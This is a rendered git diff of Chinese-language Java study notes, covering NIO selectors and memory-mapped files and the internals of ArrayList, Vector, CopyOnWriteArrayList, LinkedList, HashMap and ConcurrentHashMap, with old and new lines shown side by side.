通道必须配置为非阻塞模式,否则使用选择器就没有任何意义了,因为如果通道在某个事件上被阻塞,那么服务器就不能响应其它时间,必须等待这个事件处理完毕才能去处理其它事件,显然这和选择器的作用背道而驰。 通道必须配置为非阻塞模式,否则使用选择器就没有任何意义了,因为如果通道在某个事件上被阻塞,那么服务器就不能响应其它事件,必须等待这个事件处理完毕才能去处理其它事件,显然这和选择器的作用背道而驰。
在将通道注册到选择器上时,还需要指定要注册的具体事件,主要有以下几类: 在将通道注册到选择器上时,还需要指定要注册的具体事件,主要有以下几类:
@ -323,7 +457,7 @@ int interestSet = SelectionKey.OP_READ | SelectionKey.OP_WRITE;
int num = selector.select(); int num = selector.select();
``` ```
使用 select() 来监听事件到达,它会一直阻塞直到有至少一个事件到达。 使用 select() 来监听到达的事件,它会一直阻塞直到有至少一个事件到达。
### 4. 获取到达的事件 ### 4. 获取到达的事件
@ -368,6 +502,7 @@ while (true) {
public class NIOServer { public class NIOServer {
public static void main(String[] args) throws IOException { public static void main(String[] args) throws IOException {
Selector selector = Selector.open(); Selector selector = Selector.open();
ServerSocketChannel ssChannel = ServerSocketChannel.open(); ServerSocketChannel ssChannel = ServerSocketChannel.open();
@ -379,41 +514,56 @@ public class NIOServer {
serverSocket.bind(address); serverSocket.bind(address);
while (true) { while (true) {
selector.select(); selector.select();
Set<SelectionKey> keys = selector.selectedKeys(); Set<SelectionKey> keys = selector.selectedKeys();
Iterator<SelectionKey> keyIterator = keys.iterator(); Iterator<SelectionKey> keyIterator = keys.iterator();
while (keyIterator.hasNext()) { while (keyIterator.hasNext()) {
SelectionKey key = keyIterator.next(); SelectionKey key = keyIterator.next();
if (key.isAcceptable()) { if (key.isAcceptable()) {
ServerSocketChannel ssChannel1 = (ServerSocketChannel) key.channel(); ServerSocketChannel ssChannel1 = (ServerSocketChannel) key.channel();
// 服务器会为每个新连接创建一个 SocketChannel // 服务器会为每个新连接创建一个 SocketChannel
SocketChannel sChannel = ssChannel1.accept(); SocketChannel sChannel = ssChannel1.accept();
sChannel.configureBlocking(false); sChannel.configureBlocking(false);
// 这个新连接主要用于从客户端读取数据 // 这个新连接主要用于从客户端读取数据
sChannel.register(selector, SelectionKey.OP_READ); sChannel.register(selector, SelectionKey.OP_READ);
} else if (key.isReadable()) { } else if (key.isReadable()) {
SocketChannel sChannel = (SocketChannel) key.channel(); SocketChannel sChannel = (SocketChannel) key.channel();
System.out.println(readDataFromSocketChannel(sChannel)); System.out.println(readDataFromSocketChannel(sChannel));
sChannel.close(); sChannel.close();
} }
keyIterator.remove(); keyIterator.remove();
} }
} }
} }
private static String readDataFromSocketChannel(SocketChannel sChannel) throws IOException { private static String readDataFromSocketChannel(SocketChannel sChannel) throws IOException {
ByteBuffer buffer = ByteBuffer.allocate(1024); ByteBuffer buffer = ByteBuffer.allocate(1024);
StringBuffer data = new StringBuffer(); StringBuilder data = new StringBuilder();
while (true) { while (true) {
buffer.clear(); buffer.clear();
int n = sChannel.read(buffer); int n = sChannel.read(buffer);
if (n == -1) if (n == -1) {
break; break;
}
buffer.flip(); buffer.flip();
int limit = buffer.limit(); int limit = buffer.limit();
char[] dst = new char[limit]; char[] dst = new char[limit];
for (int i = 0; i < limit; i++) for (int i = 0; i < limit; i++) {
dst[i] = (char) buffer.get(i); dst[i] = (char) buffer.get(i);
}
data.append(dst); data.append(dst);
buffer.clear(); buffer.clear();
} }
@ -439,13 +589,9 @@ public class NIOClient {
内存映射文件 I/O 是一种读和写文件数据的方法,它可以比常规的基于流或者基于通道的 I/O 快得多。 内存映射文件 I/O 是一种读和写文件数据的方法,它可以比常规的基于流或者基于通道的 I/O 快得多。
只有文件中实际读取或者写入的部分才会映射到内存中 向内存映射文件写入可能是危险的,只是改变数组的单个元素这样的简单操作,就可能会直接修改磁盘上的文件。修改数据与将数据保存到磁盘是没有分开的
现代操作系统一般会根据需要将文件的部分映射内存的部分从而实现文件系统。Java 内存映射机制只不过是在底层操作系统中可以采用这种机制时,提供了对该机制的访问 下面代码行将文件的前 1024 个字节映射内存map() 方法返回一个 MappedByteBuffer它是 ByteBuffer 的子类。因此,可以像使用其他任何 ByteBuffer 一样使用新映射的缓冲区,操作系统会在需要时负责执行映射
向内存映射文件写入可能是危险的,仅只是改变数组的单个元素这样的简单操作,就可能会直接修改磁盘上的文件。修改数据与将数据保存到磁盘是没有分开的。
下面代码行将文件的前 1024 个字节映射到内存中map() 方法返回一个 MappedByteBuffer它是 ByteBuffer 的子类。因此,您可以像使用其他任何 ByteBuffer 一样使用新映射的缓冲区,操作系统会在需要时负责执行映射。
```java ```java
MappedByteBuffer mbb = fc.map(FileChannel.MapMode.READ_WRITE, 0, 1024); MappedByteBuffer mbb = fc.map(FileChannel.MapMode.READ_WRITE, 0, 1024);
@ -455,14 +601,18 @@ MappedByteBuffer mbb = fc.map(FileChannel.MapMode.READ_WRITE, 0, 1024);
NIO 与普通 I/O 的区别主要有以下两点: NIO 与普通 I/O 的区别主要有以下两点:
- NIO 是非阻塞的。应当注意FileChannel 不能切换到非阻塞模式,套接字 Channel 可以。 - NIO 是非阻塞的
- NIO 面向块I/O 面向流。 - NIO 面向块I/O 面向流。
# 八、参考资料 # 八、参考资料
- Eckel B, 埃克尔, 昊鹏, 等. Java 编程思想 [M]. 机械工业出版社, 2002. - Eckel B, 埃克尔, 昊鹏, 等. Java 编程思想 [M]. 机械工业出版社, 2002.
- [IBM: NIO 入门](https://www.ibm.com/developerworks/cn/education/java/j-nio/j-nio.html) - [IBM: NIO 入门](https://www.ibm.com/developerworks/cn/education/java/j-nio/j-nio.html)
- [深入分析 Java I/O 的工作机制](https://www.ibm.com/developerworks/cn/java/j-lo-javaio/index.html) - [Java NIO Tutorial](http://tutorials.jenkov.com/java-nio/index.html)
- [Java NIO 浅析](https://tech.meituan.com/nio.html)
- [IBM: 深入分析 Java I/O 的工作机制](https://www.ibm.com/developerworks/cn/java/j-lo-javaio/index.html)
- [IBM: 深入分析 Java 中的中文编码问题](https://www.ibm.com/developerworks/cn/java/j-lo-chinesecoding/index.htm)
- [IBM: Java 序列化的高级认识](https://www.ibm.com/developerworks/cn/java/j-lo-serial/index.html)
- [NIO 与传统 IO 的区别](http://blog.csdn.net/shimiso/article/details/24990499) - [NIO 与传统 IO 的区别](http://blog.csdn.net/shimiso/article/details/24990499)
- [Decorator Design Pattern](http://stg-tud.github.io/sedc/Lecture/ws13-14/5.3-Decorator.html#mode=document) - [Decorator Design Pattern](http://stg-tud.github.io/sedc/Lecture/ws13-14/5.3-Decorator.html#mode=document)
- [Socket Multicast](http://labojava.blogspot.com/2012/12/socket-multicast.html) - [Socket Multicast](http://labojava.blogspot.com/2012/12/socket-multicast.html)

File diff suppressed because it is too large Load Diff

View File

@ -8,62 +8,65 @@
* [三、源码分析](#三源码分析) * [三、源码分析](#三源码分析)
* [ArrayList](#arraylist) * [ArrayList](#arraylist)
* [Vector](#vector) * [Vector](#vector)
* [CopyOnWriteArrayList](#copyonwritearraylist)
* [LinkedList](#linkedlist) * [LinkedList](#linkedlist)
* [HashMap](#hashmap) * [HashMap](#hashmap)
* [ConcurrentHashMap](#concurrenthashmap) * [ConcurrentHashMap](#concurrenthashmap)
* [LinkedHashMap](#linkedhashmap) * [LinkedHashMap](#linkedhashmap)
* [TreeMap](#treemap) * [WeakHashMap](#weakhashmap)
* [附录](#附录)
* [参考资料](#参考资料) * [参考资料](#参考资料)
<!-- GFM-TOC --> <!-- GFM-TOC -->
# 一、概览 # 一、概览
容器主要包括 Collection 和 Map 两种Collection 又包含了 List、Set 以及 Queue 容器主要包括 Collection 和 Map 两种Collection 存储着对象的集合,而 Map 存储着键值对(两个对象)的映射表
## Collection ## Collection
<div align="center"> <img src="../pics//java-collections.png"/> </div><br> <div align="center"> <img src="../pics//VP6n3i8W48Ptde8NQ9_0eSR5eOD6uqx.png"/> </div><br>
### 1. Set ### 1. Set
- HashSet基于哈希实现,支持快速查找,但不支持有序性操作,例如根据一个范围查找元素的操作。并且失去了元素的插入顺序信息,也就是说使用 Iterator 遍历 HashSet 得到的结果是不确定的; - TreeSet基于红黑树实现,支持有序性操作,例如根据一个范围查找元素的操作。但是查找效率不如 HashSetHashSet 查找的时间复杂度为 O(1)TreeSet 则为 O(logN)。
- TreeSet基于红黑树实现,支持有序性操作,但是查找效率不如 HashSetHashSet 查找时间复杂度为 O(1)TreeSet 则为 O(logN) - HashSet基于哈希表实现,支持快速查找,但不支持有序性操作。并且失去了元素的插入顺序信息,也就是说使用 Iterator 遍历 HashSet 得到的结果是不确定的。
- LinkedHashSet具有 HashSet 的查找效率,且内部使用链表维护元素的插入顺序。 - LinkedHashSet具有 HashSet 的查找效率,且内部使用双向链表维护元素的插入顺序。
### 2. List ### 2. List
- ArrayList基于动态数组实现支持随机访问 - ArrayList基于动态数组实现支持随机访问
- Vector和 ArrayList 类似,但它是线程安全的 - Vector和 ArrayList 类似,但它是线程安全的
- LinkedList基于双向链表实现只能顺序访问但是可以快速地在链表中间插入和删除元素。不仅如此LinkedList 还可以用作栈、队列和双向队列。 - LinkedList基于双向链表实现只能顺序访问但是可以快速地在链表中间插入和删除元素。不仅如此LinkedList 还可以用作栈、队列和双向队列。
### 3. Queue ### 3. Queue
- LinkedList可以用它来支持双向队列 - LinkedList可以用它来实现双向队列
- PriorityQueue基于堆结构实现可以用它来实现优先队列。 - PriorityQueue基于堆结构实现可以用它来实现优先队列。
## Map ## Map
<div align="center"> <img src="../pics//java-collections1.png"/> </div><br> <div align="center"> <img src="../pics//SoWkIImgAStDuUBAp2j9BKfBJ4vLy4q.png"/> </div><br>
- HashMap基于哈希实现 - TreeMap基于红黑树实现
- HashMap基于哈希表实现。
- HashTable和 HashMap 类似,但它是线程安全的,这意味着同一时刻多个线程可以同时写入 HashTable 并且不会导致数据不一致。它是遗留类,不应该去使用它。现在可以使用 ConcurrentHashMap 来支持线程安全,并且 ConcurrentHashMap 的效率会更高,因为 ConcurrentHashMap 引入了分段锁。 - HashTable和 HashMap 类似,但它是线程安全的,这意味着同一时刻多个线程可以同时写入 HashTable 并且不会导致数据不一致。它是遗留类,不应该去使用它。现在可以使用 ConcurrentHashMap 来支持线程安全,并且 ConcurrentHashMap 的效率会更高,因为 ConcurrentHashMap 引入了分段锁。
- LinkedHashMap使用链表来维护元素的顺序顺序为插入顺序或者最近最少使用LRU顺序。 - LinkedHashMap使用双向链表来维护元素的顺序顺序为插入顺序或者最近最少使用LRU顺序。
- TreeMap基于红黑树实现。
# 二、容器中的设计模式 # 二、容器中的设计模式
## 迭代器模式 ## 迭代器模式
<div align="center"> <img src="../pics//Iterator-1.jpg"/> </div><br> <div align="center"> <img src="../pics//SoWkIImgAStDuUBAp2j9BKfBJ4vLy0G.png"/> </div><br>
Collection 实现了 Iterable 接口,其中的 iterator() 方法能够产生一个 Iterator 对象,通过这个对象就可以迭代遍历 Collection 中的元素。 Collection 实现了 Iterable 接口,其中的 iterator() 方法能够产生一个 Iterator 对象,通过这个对象就可以迭代遍历 Collection 中的元素。
@ -87,34 +90,30 @@ java.util.Arrays#asList() 可以把数组类型转换为 List 类型。
public static <T> List<T> asList(T... a) public static <T> List<T> asList(T... a)
``` ```
如果要将数组类型转换为 List 类型,应该注意的是 asList() 的参数为泛型的变长参数,因此不能使用基本类型数组作为参数,只能使用相应的包装类型数组。 应该注意的是 asList() 的参数为泛型的变长参数,不能使用基本类型数组作为参数,只能使用相应的包装类型数组。
```java ```java
Integer[] arr = {1, 2, 3}; Integer[] arr = {1, 2, 3};
List list = Arrays.asList(arr); List list = Arrays.asList(arr);
``` ```
也可以使用以下方式生成 List 也可以使用以下方式调用 asList()
```java ```java
List list = Arrays.asList(1,2,3); List list = Arrays.asList(1, 2, 3);
``` ```
# 三、源码分析 # 三、源码分析
建议先阅读 [算法-查找](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/%E7%AE%97%E6%B3%95.md#%E6%9F%A5%E6%89%BE) 部分,对容器类源码的理解有很大帮助 如果没有特别说明,以下源码分析基于 JDK 1.8
至于 ConcurrentHashMap 的理解,需要有并发方面的知识,建议先阅读:[Java 并发](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/Java%20%E5%B9%B6%E5%8F%91.md) 在 IDEA 中 double shift 调出 Search EveryWhere查找源码文件找到之后就可以阅读源码。
以下源码从 JDK 1.8 提取而来,下载地址:[JDK-Source-Code](https://github.com/CyC2018/JDK-Source-Code)。
## ArrayList ## ArrayList
[ArrayList.java](https://github.com/CyC2018/JDK-Source-Code/tree/master/src/ArrayList.java)
### 1. 概览 ### 1. 概览
实现了 RandomAccess 接口,因此支持随机访问这是理所当然的,因为 ArrayList 是基于数组实现的。 实现了 RandomAccess 接口,因此支持随机访问这是理所当然的,因为 ArrayList 是基于数组实现的。
```java ```java
public class ArrayList<E> extends AbstractList<E> public class ArrayList<E> extends AbstractList<E>
@ -127,19 +126,11 @@ public class ArrayList<E> extends AbstractList<E>
private static final int DEFAULT_CAPACITY = 10; private static final int DEFAULT_CAPACITY = 10;
``` ```
### 2. 序列化 ### 2. 扩容
基于数组实现,保存元素的数组使用 transient 修饰该关键字声明数组默认不会被序列化。ArrayList 具有动态扩容特性因此保存元素的数组不一定都会被使用那么就没必要全部进行序列化。ArrayList 重写了 writeObject() 和 readObject() 来控制只序列化数组中有元素填充那部分内容。
```java
transient Object[] elementData; // non-private to simplify nested class access
```
### 3. 扩容
添加元素时使用 ensureCapacityInternal() 方法来保证容量足够,如果不够时,需要使用 grow() 方法进行扩容,新容量的大小为 `oldCapacity + (oldCapacity >> 1)`,也就是旧容量的 1.5 倍。 添加元素时使用 ensureCapacityInternal() 方法来保证容量足够,如果不够时,需要使用 grow() 方法进行扩容,新容量的大小为 `oldCapacity + (oldCapacity >> 1)`,也就是旧容量的 1.5 倍。
扩容操作需要调用 `Arrays.copyOf()` 把原数组整个复制到新数组中,因此最好在创建 ArrayList 对象时就指定大概的容量大小,减少扩容操作的次数。 扩容操作需要调用 `Arrays.copyOf()` 把原数组整个复制到新数组中,这个操作代价很高,因此最好在创建 ArrayList 对象时就指定大概的容量大小,减少扩容操作的次数。
```java ```java
public boolean add(E e) { public boolean add(E e) {
@ -152,13 +143,11 @@ private void ensureCapacityInternal(int minCapacity) {
if (elementData == DEFAULTCAPACITY_EMPTY_ELEMENTDATA) { if (elementData == DEFAULTCAPACITY_EMPTY_ELEMENTDATA) {
minCapacity = Math.max(DEFAULT_CAPACITY, minCapacity); minCapacity = Math.max(DEFAULT_CAPACITY, minCapacity);
} }
ensureExplicitCapacity(minCapacity); ensureExplicitCapacity(minCapacity);
} }
private void ensureExplicitCapacity(int minCapacity) { private void ensureExplicitCapacity(int minCapacity) {
modCount++; modCount++;
// overflow-conscious code // overflow-conscious code
if (minCapacity - elementData.length > 0) if (minCapacity - elementData.length > 0)
grow(minCapacity); grow(minCapacity);
@ -177,27 +166,24 @@ private void grow(int minCapacity) {
} }
``` ```
### 4. 删除元素 ### 3. 删除元素
需要调用 System.arraycopy() 将 index+1 后面的元素都复制到 index 位置上,复制的代价很高 需要调用 System.arraycopy() 将 index+1 后面的元素都复制到 index 位置上,该操作的时间复杂度为 O(N),可以看出 ArrayList 删除元素的代价是非常高的
```java ```java
public E remove(int index) { public E remove(int index) {
rangeCheck(index); rangeCheck(index);
modCount++; modCount++;
E oldValue = elementData(index); E oldValue = elementData(index);
int numMoved = size - index - 1; int numMoved = size - index - 1;
if (numMoved > 0) if (numMoved > 0)
System.arraycopy(elementData, index+1, elementData, index, numMoved); System.arraycopy(elementData, index+1, elementData, index, numMoved);
elementData[--size] = null; // clear to let GC do its work elementData[--size] = null; // clear to let GC do its work
return oldValue; return oldValue;
} }
``` ```
### 5. Fail-Fast ### 4. Fail-Fast
modCount 用来记录 ArrayList 结构发生变化的次数。结构发生变化是指添加或者删除至少一个元素的所有操作,或者是调整内部数组的大小,仅仅只是设置元素的值不算结构发生变化。 modCount 用来记录 ArrayList 结构发生变化的次数。结构发生变化是指添加或者删除至少一个元素的所有操作,或者是调整内部数组的大小,仅仅只是设置元素的值不算结构发生变化。
@ -224,9 +210,72 @@ private void writeObject(java.io.ObjectOutputStream s)
} }
``` ```
## Vector ### 5. 序列化
[Vector.java](https://github.com/CyC2018/JDK-Source-Code/tree/master/src/Vector.java) ArrayList 基于数组实现,并且具有动态扩容特性,因此保存元素的数组不一定都会被使用,那么就没必要全部进行序列化。
保存元素的数组 elementData 使用 transient 修饰,该关键字声明数组默认不会被序列化。
```java
transient Object[] elementData; // non-private to simplify nested class access
```
ArrayList 实现了 writeObject() 和 readObject() 来控制只序列化数组中有元素填充那部分内容。
```java
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
elementData = EMPTY_ELEMENTDATA;
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in capacity
s.readInt(); // ignored
if (size > 0) {
// be like clone(), allocate array based upon size not capacity
ensureCapacityInternal(size);
Object[] a = elementData;
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
a[i] = s.readObject();
}
}
}
```
```java
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException{
// Write out element count, and any hidden stuff
int expectedModCount = modCount;
s.defaultWriteObject();
// Write out size as capacity for behavioural compatibility with clone()
s.writeInt(size);
// Write out all elements in the proper order.
for (int i=0; i<size; i++) {
s.writeObject(elementData[i]);
}
if (modCount != expectedModCount) {
throw new ConcurrentModificationException();
}
}
```
序列化时需要使用 ObjectOutputStream 的 writeObject() 将对象转换为字节流并输出。而 writeObject() 方法在传入的对象存在 writeObject() 的时候会去反射调用该对象的 writeObject() 来实现序列化。反序列化使用的是 ObjectInputStream 的 readObject() 方法,原理类似。
```java
ArrayList list = new ArrayList();
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
oos.writeObject(list);
```
## Vector
### 1. 同步 ### 1. 同步
@ -248,31 +297,80 @@ public synchronized E get(int index) {
} }
``` ```
### 2. ArrayList 与 Vector ### 2. ArrayList 的比较
- Vector 和 ArrayList 几乎是完全相同的,唯一的区别在于 Vector 是同步的,因此开销就比 ArrayList 要大,访问速度更慢。最好使用 ArrayList 而不是 Vector因为同步操作完全可以由程序员自己来控制 - Vector 是同步的,因此开销就比 ArrayList 要大,访问速度更慢。最好使用 ArrayList 而不是 Vector因为同步操作完全可以由程序员自己来控制
- Vector 每次扩容请求其大小的 2 倍空间,而 ArrayList 是 1.5 倍。 - Vector 每次扩容请求其大小的 2 倍空间,而 ArrayList 是 1.5 倍。
### 3. Vector 替代方案 ### 3. 替代方案
为了获得线程安全的 ArrayList可以使用 Collections.synchronizedList(); 得到一个线程安全的 ArrayList,也可以使用 concurrent 并发包下的 CopyOnWriteArrayList 类; 可以使用 `Collections.synchronizedList();` 得到一个线程安全的 ArrayList
```java ```java
List<String> list = new ArrayList<>(); List<String> list = new ArrayList<>();
List<String> synList = Collections.synchronizedList(list); List<String> synList = Collections.synchronizedList(list);
``` ```
也可以使用 concurrent 并发包下的 CopyOnWriteArrayList 类。
```java ```java
List list = new CopyOnWriteArrayList(); List<String> list = new CopyOnWriteArrayList<>();
``` ```
## CopyOnWriteArrayList
### 读写分离
写操作在一个复制的数组上进行,读操作还是在原始数组中进行,读写分离,互不影响。
写操作需要加锁,防止并发写入时导致写入数据丢失。
写操作结束之后需要把原始数组指向新的复制数组。
```java
public boolean add(E e) {
final ReentrantLock lock = this.lock;
lock.lock();
try {
Object[] elements = getArray();
int len = elements.length;
Object[] newElements = Arrays.copyOf(elements, len + 1);
newElements[len] = e;
setArray(newElements);
return true;
} finally {
lock.unlock();
}
}
final void setArray(Object[] a) {
array = a;
}
```
```java
@SuppressWarnings("unchecked")
private E get(Object[] a, int index) {
return (E) a[index];
}
```
### 适用场景
CopyOnWriteArrayList 在写操作的同时允许读操作,大大提高了读操作的性能,因此很适合读多写少的应用场景。
但是 CopyOnWriteArrayList 有其缺陷:
- 内存占用:在写操作时需要复制一个新的数组,使得内存占用为原来的两倍左右;
- 数据不一致:读操作不能读取实时性的数据,因为部分写操作的数据还未同步到读数组中。
所以 CopyOnWriteArrayList 不适合内存敏感以及对实时性要求很高的场景。
## LinkedList ## LinkedList
[LinkedList.java](https://github.com/CyC2018/JDK-Source-Code/tree/master/src/LinkedList.java)
### 1. 概览 ### 1. 概览
基于双向链表实现,内部使用 Node 存储链表节点信息。 基于双向链表实现,使用 Node 存储链表节点信息。
```java ```java
private static class Node<E> { private static class Node<E> {
@ -282,16 +380,16 @@ private static class Node<E> {
} }
``` ```
每个链表存储了 Head 和 Tail 指针: 每个链表存储了 first 和 last 指针:
```java ```java
transient Node<E> first; transient Node<E> first;
transient Node<E> last; transient Node<E> last;
``` ```
<div align="center"> <img src="../pics//HowLinkedListWorks.png"/> </div><br> <div align="center"> <img src="../pics//49495c95-52e5-4c9a-b27b-92cf235ff5ec.png" width="500"/> </div><br>
### 2. ArrayList 与 LinkedList ### 2. ArrayList 的比较
- ArrayList 基于动态数组实现LinkedList 基于双向链表实现; - ArrayList 基于动态数组实现LinkedList 基于双向链表实现;
- ArrayList 支持随机访问LinkedList 不支持; - ArrayList 支持随机访问LinkedList 不支持;
@ -299,19 +397,17 @@ transient Node<E> last;
## HashMap ## HashMap
[HashMap.java](https://github.com/CyC2018/JDK-Source-Code/tree/master/src/HashMap.java) 为了便于理解,以下源码分析以 JDK 1.7 为主。
为了便于理解,以下内容以 JDK 1.7 为主。
### 1. 存储结构 ### 1. 存储结构
使用拉链法来解决冲突,内部包含了一个 Entry 类型的数组 table,数组中的每个位置被当成一个桶 内部包含了一个 Entry 类型的数组 table。
```java ```java
transient Entry[] table; transient Entry[] table;
``` ```
其中,Entry 就是存储数据的键值对它包含了四个字段从 next 字段我们可以看出 Entry 是一个链表,即每个桶会存放一个链表 Entry 存储着键值对它包含了四个字段从 next 字段我们可以看出 Entry 是一个链表。即数组中的每个位置被当成一个桶一个桶存放一个链表。HashMap 使用拉链法来解决冲突,同一个链表中存放哈希值相同的 Entry
<div align="center"> <img src="../pics//8fe838e3-ef77-4f63-bf45-417b6bc5c6bb.png" width="600"/> </div><br> <div align="center"> <img src="../pics//8fe838e3-ef77-4f63-bf45-417b6bc5c6bb.png" width="600"/> </div><br>
@ -365,21 +461,6 @@ static class Entry<K,V> implements Map.Entry<K,V> {
public final String toString() { public final String toString() {
return getKey() + "=" + getValue(); return getKey() + "=" + getValue();
} }
/**
* This method is invoked whenever the value in an entry is
* overwritten by an invocation of put(k,v) for a key k that's already
* in the HashMap.
*/
void recordAccess(HashMap<K,V> m) {
}
/**
* This method is invoked whenever the entry is
* removed from the table.
*/
void recordRemoval(HashMap<K,V> m) {
}
} }
``` ```
@ -437,7 +518,7 @@ public V put(K key, V value) {
} }
``` ```
HashMap 允许插入键 null 的键值对因为无法调用 null 的 hashCode()也就无法确定该键值对的桶下标只能通过强制指定一个桶下标来存放。HashMap 使用第 0 个桶存放键为 null 的键值对。 HashMap 允许插入键 null 的键值对。但是因为无法调用 null 的 hashCode() 方法也就无法确定该键值对的桶下标只能通过强制指定一个桶下标来存放。HashMap 使用第 0 个桶存放键为 null 的键值对。
```java ```java
private V putForNullKey(V value) { private V putForNullKey(V value) {
@ -494,7 +575,7 @@ int hash = hash(key);
int i = indexFor(hash, table.length); int i = indexFor(hash, table.length);
``` ```
(一)计算 hash 值 **4.1 计算 hash 值**
```java ```java
final int hash(Object k) { final int hash(Object k) {
@ -519,7 +600,7 @@ public final int hashCode() {
} }
``` ```
(二)取模 **4.2 取模**
令 x = 1<<4 x 2 4 次方它具有以下性质 令 x = 1<<4 x 2 4 次方它具有以下性质
@ -539,14 +620,14 @@ y&(x-1) : 00000010
这个性质和 y x 取模效果是一样的 这个性质和 y x 取模效果是一样的
``` ```
x : 00010000
y : 10110010 y : 10110010
x : 00010000
y%x : 00000010 y%x : 00000010
``` ```
我们知道位运算的代价比求模运算小的多因此在进行这种计算时用位运算的话能带来更高的性能 我们知道位运算的代价比求模运算小的多因此在进行这种计算时用位运算的话能带来更高的性能
确定桶下标的最后一步是将 key hash 值对桶个数取模hash%capacity如果能保证 capacity 2 次方那么就可以将这个操作转换为位运算 确定桶下标的最后一步是将 key hash 值对桶个数取模hash%capacity如果能保证 capacity 2 n 次方那么就可以将这个操作转换为位运算
```java ```java
static int indexFor(int h, int length) { static int indexFor(int h, int length) {
@ -564,10 +645,10 @@ static int indexFor(int h, int length) {
| 参数 | 含义 | | 参数 | 含义 |
| :--: | :-- | | :--: | :-- |
| capacity | table 的容量大小默认为 16需要注意的是 capacity 必须保证为 2 的次方。| | capacity | table 的容量大小默认为 16需要注意的是 capacity 必须保证为 2 n 次方。|
| size | table 的实际使用量 | | size | table 的实际使用量 |
| threshold | size 的临界值size 必须小于 threshold如果大于等于就必须进行扩容操作 | | threshold | size 的临界值size 必须小于 threshold如果大于等于就必须进行扩容操作 |
| load_factor | table 能够使用的比例threshold = capacity * load_factor。| | loadFactor | 装载因子table 能够使用的比例threshold = capacity * loadFactor。|
```java ```java
static final int DEFAULT_INITIAL_CAPACITY = 16; static final int DEFAULT_INITIAL_CAPACITY = 16;
@ -598,7 +679,7 @@ void addEntry(int hash, K key, V value, int bucketIndex) {
} }
``` ```
扩容使用 resize() 实现需要注意的是扩容操作同样需要把 table 的所有键值对重新插入新的 table 因此这一步是很费时的 扩容使用 resize() 实现需要注意的是扩容操作同样需要把 oldTable 的所有键值对重新插入 newTable 因此这一步是很费时的
```java ```java
void resize(int newCapacity) { void resize(int newCapacity) {
@ -608,7 +689,6 @@ void resize(int newCapacity) {
threshold = Integer.MAX_VALUE; threshold = Integer.MAX_VALUE;
return; return;
} }
Entry[] newTable = new Entry[newCapacity]; Entry[] newTable = new Entry[newCapacity];
transfer(newTable); transfer(newTable);
table = newTable; table = newTable;
@ -638,28 +718,31 @@ void transfer(Entry[] newTable) {
在进行扩容时需要把键值对重新放到对应的桶上HashMap 使用了一个特殊的机制可以降低重新计算桶下标的操作 在进行扩容时需要把键值对重新放到对应的桶上HashMap 使用了一个特殊的机制可以降低重新计算桶下标的操作
假设原数组长度 capacity 8扩容之后 new capacity 16 假设原数组长度 capacity 16扩容之后 new capacity 32
```html ```html
capacity : 00010000 capacity : 00010000
new capacity : 00100000 new capacity : 00100000
``` ```
对于一个 Key它的 hash 如果在第 6 位上为 0那么取模得到的结果和之前一样如果为 1那么得到的结果为原来的结果 + 8 对于一个 Key
- 它的哈希值如果在第 6 位上为 0那么取模得到的结果和之前一样
- 如果为 1那么得到的结果为原来的结果 +16
### 7. 扩容-计算数组容量 ### 7. 扩容-计算数组容量
HashMap 构造函数允许用户传入的容量不是 2 次方因为它可以自动地将传入的容量转换为 2 次方 HashMap 构造函数允许用户传入的容量不是 2 n 次方因为它可以自动地将传入的容量转换为 2 n 次方
先考虑如何求一个数的掩码对于 10010000它的掩码为 11111111可以使用以下方法得到 先考虑如何求一个数的掩码对于 10010000它的掩码为 11111111可以使用以下方法得到
``` ```
mask |= mask >> 1 11011000 mask |= mask >> 1 11011000
mask |= mask >> 2 11111100 mask |= mask >> 2 11111110
mask |= mask >> 4 11111111 mask |= mask >> 4 11111111
``` ```
mask+1 是大于原始数字的最小的 2 次方 mask+1 是大于原始数字的最小的 2 n 次方
``` ```
num 10010000 num 10010000
@ -682,20 +765,17 @@ static final int tableSizeFor(int cap) {
### 8. 链表转红黑树 ### 8. 链表转红黑树
应该注意到 JDK 1.8 开始一个桶存储的链表长度大于 8 时会将链表转换为红黑树 JDK 1.8 开始一个桶存储的链表长度大于 8 时会将链表转换为红黑树
### 9. HashMap 与 HashTable ### 9. 与 HashTable 的比较
- HashTable 是同步的使用 synchronized 来进行同步它也是线程安全的多个线程可以共享同一个 HashTableHashMap 不是同步的但是可以使用 ConcurrentHashMap它是 HashTable 的替代而且比 HashTable 可扩展性更好 - HashTable 使用 synchronized 来进行同步
- HashMap 可以插入键为 null Entry - HashMap 可以插入键为 null Entry
- HashMap 的迭代器是 fail-fast 迭代器 Hashtable enumerator 迭代器不是 fail-fast - HashMap 的迭代器是 fail-fast 迭代器
- 由于 Hashtable 是线程安全的也是 synchronized所以在单线程环境下它比 HashMap 要慢
- HashMap 不能保证随着时间的推移 Map 中的元素次序是不变的 - HashMap 不能保证随着时间的推移 Map 中的元素次序是不变的
## ConcurrentHashMap ## ConcurrentHashMap
[ConcurrentHashMap.java](https://github.com/CyC2018/JDK-Source-Code/blob/master/src/1.7/ConcurrentHashMap.java)
### 1. 存储结构 ### 1. 存储结构
```java ```java
@ -707,9 +787,9 @@ static final class HashEntry<K,V> {
} }
``` ```
Segment 继承自 ReentrantLock每个 Segment 维护着多个 HashEntry ConcurrentHashMap HashMap 实现上类似最主要的差别是 ConcurrentHashMap 采用了分段锁Segment每个分段锁维护着几个桶HashEntry多个线程可以同时访问不同分段锁上的桶从而使其并发度更高并发度就是 Segment 的个数
ConcurrentHashMap HashMap 实现上类似最主要的差别是 ConcurrentHashMap 采用了分段锁每个分段锁维护着几个桶多个线程可以同时访问不同分段锁上的桶从而使其并发度更高并发度就是 Segment 的个数 Segment 继承自 ReentrantLock
```java ```java
static final class Segment<K,V> extends ReentrantLock implements Serializable { static final class Segment<K,V> extends ReentrantLock implements Serializable {
@ -741,7 +821,7 @@ final Segment<K,V>[] segments;
static final int DEFAULT_CONCURRENCY_LEVEL = 16; static final int DEFAULT_CONCURRENCY_LEVEL = 16;
``` ```
<div align="center"> <img src="../pics//image005.jpg"/> </div><br> <div align="center"> <img src="../pics//3fdfc89d-719e-4d93-b518-29fa612b3b18.png"/> </div><br>
### 2. size 操作 ### 2. size 操作
@ -816,12 +896,9 @@ public int size() {
} }
``` ```
### 3. JDK 1.8 的改动 ### 3. JDK 1.8 的改动
